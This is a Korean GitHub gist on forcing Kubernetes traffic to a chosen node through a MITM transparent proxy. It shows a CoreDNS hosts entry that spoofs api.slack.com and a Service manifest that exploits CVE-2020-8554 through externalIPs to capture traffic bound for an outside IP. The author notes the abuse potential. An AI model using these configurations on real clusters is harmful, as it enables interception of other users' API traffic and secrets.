Skip to content

Instantly share code, notes, and snippets.

@leoh0
Last active March 22, 2021 11:52
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leoh0/25496cf7581429b5e448c1b0cb37c17e to your computer and use it in GitHub Desktop.
Save leoh0/25496cf7581429b5e448c1b0cb37c17e to your computer and use it in GitHub Desktop.
쿠버네티스 안에서 특정 트래픽을 특정 노드로 보내는 "무난하지 않은" 방법

쿠버네티스 안에서 특정 트래픽을 특정 노드로 보내는 "무난하지 않은 방법"

우선 이걸 보기전에 쿠버네티스 안에서 특정 트래픽을 특정 노드로 보내는 "무난한" 방법을 보는게 좋다. 대충, 나가야 하는 노드에 squid 같은 reverse proxy를 두고 보내는 팟에서 해당 pod으로 http_proxy등을 이용해서 트래픽을 보내는 방법 과 같은 전통적인 방법이다.

그렇다면 "무난하지 않은" 방법은 무엇일까? 여기서 사용하는 방법들은 악용의 소지들이 다분하고 어느정도 k8s의 보안홀들을 이용하는 방법들이다.

우선 위와 같은 방법은 트래픽을 보내는 pod의 사용자가 온전히 보내야 하는 트래픽을 신경써야 하는 상태이다. 그렇다면 이렇게 하지 않는 방법은 무엇일까? 우선 준비물은 mitm 을 할 cert 파일들과 transparent proxy 의 구성이 필요하다. 이런곳에서 관련 설명을 이해하면 좋다. 다만 여기서와 같이 daemonset이 아닌 그냥 tproxy를 설치한 pod이 있는 특정노드를 만든다.

  1. DNS spoofing

예를 들어 api.slack.com 로 나가는 트래픽을 제어하고 싶다고 한다면 위의 tproxy를 clusterIP 서비스 형태로 제작하고 해당 clusterIP로 도메인을 등록해 준다. coreDNS 안에서 아래와 같이 해당 클러스터 ip를 등록하면 모든 경우에 api.slack.com으로 보내져야 하는 트래픽이 해당 tproxy로 보내어 진다.

apiVersion: v1
data:
  Corefile: |
    .:53 {
        errors
        health
        kubernetes cluster.local in-addr.arpa ip6.arpa {
          pods insecure
          fallthrough in-addr.arpa ip6.arpa
        }
        prometheus :9153
        forward . /etc/resolv.conf
        cache 30
        loop
        reload
        loadbalance
        hosts {
          <cluster_ip> api.slack.com
          fallthrough
        }
    }
  1. CVE-2020-8554

위와 같이 도메인이 없는 경우이거나 보내지는 트래픽의 ip를 특정시킬 수 있는 경우 아래와 같이 보내지는 트래픽을 가로채는 것이 가능하다.

아래와 같이 api.slack.com 의 ip는 52.198.217.116이다.

$ dig +short api.slack.com
52.198.217.116

이럴때 아래와 같은 externalIPs 를 등록해주면 향후 api.slack.com으로 보내지는 모든 트래픽이 해당 tproxy pod으로 보내지게 된다.

kind: Service
metadata:
  name: port-forward2
spec:
  externalIPs:
  - 52.198.217.116
  ports:
    - port: 80
      protocol: TCP
      targetPort: 8080
  selector:
    app: tproxy
  1. 이외에도

사실 여러가지 방법이 있다. 찾는건 개개인의 재미를 위해서 😉

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment